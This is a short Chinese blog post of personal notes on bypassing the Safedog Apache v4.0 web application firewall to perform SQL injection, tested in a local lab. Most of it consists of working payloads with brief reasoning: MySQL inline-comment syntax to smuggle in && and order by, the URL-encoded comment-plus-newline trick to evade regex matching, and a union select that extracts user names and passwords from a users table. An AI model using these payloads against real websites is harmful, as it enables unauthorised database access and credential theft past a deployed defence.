最新安全狗 apache v4.0 sql注入 bypass
阿新 • • 發佈:2018-12-30
前言
最近沒事學習一下 waf
的 bypass
, 本文介紹下 bypass
安全狗的筆記。個人感覺 bypass
的總思路(正則匹配型 waf
)就是利用各種語法特性來逃避正則(當然要保證語法正確性的前提下)
測試環境:
phpstudy + 安全狗Apache版 V4.0、
burp + hackvertor 外掛
判斷注入
判斷字元型注入還是數字型
往數字後面加若干個字母,如果結果不變應該是字元型注入,因為 mysql
的弱型別會把 1xxxx
轉換成 1
引入邏輯表示式進行判斷
利用 Mysql
支援的 /*!*/
語法引入 &&
繞過過濾
1'/*!&&*/1#'
order by 獲取列數
還是利用 /*!*/
語法來引入關鍵字, 然後利用 ()
包裹數字繞過空格進而繞過正則。
1'/*!&&*/0/*!order*/by(2)#'
所以有 2 列。
繞過 union
%23%0a
繞過正則, 原因大概是 #
是註釋符號(只註釋一行 \n
截止), waf
認為後面的都是註釋不去匹配,而 mysql
支援使用 \n 代替空格,所以繞過了正則。
<@urlencode_1>1'/*!&&*/0/*! union*//*!all*/<@/urlencode_1>%23%0a<@urlencode_2>/*! sElect*/1,@@HOSTNAME#'<@/urlencode_2>
拿密碼
使用 %23%0a
,繞過正則
<@urlencode_1>1'/*!&&*/0/*! union*//*!all*/<@/urlencode_1>%23%0a<@urlencode_2>/*! sElect*/user,password <@/urlencode_2>from%23%0a<@urlencode_3>users where user_id=1<@/urlencode_3>%23%27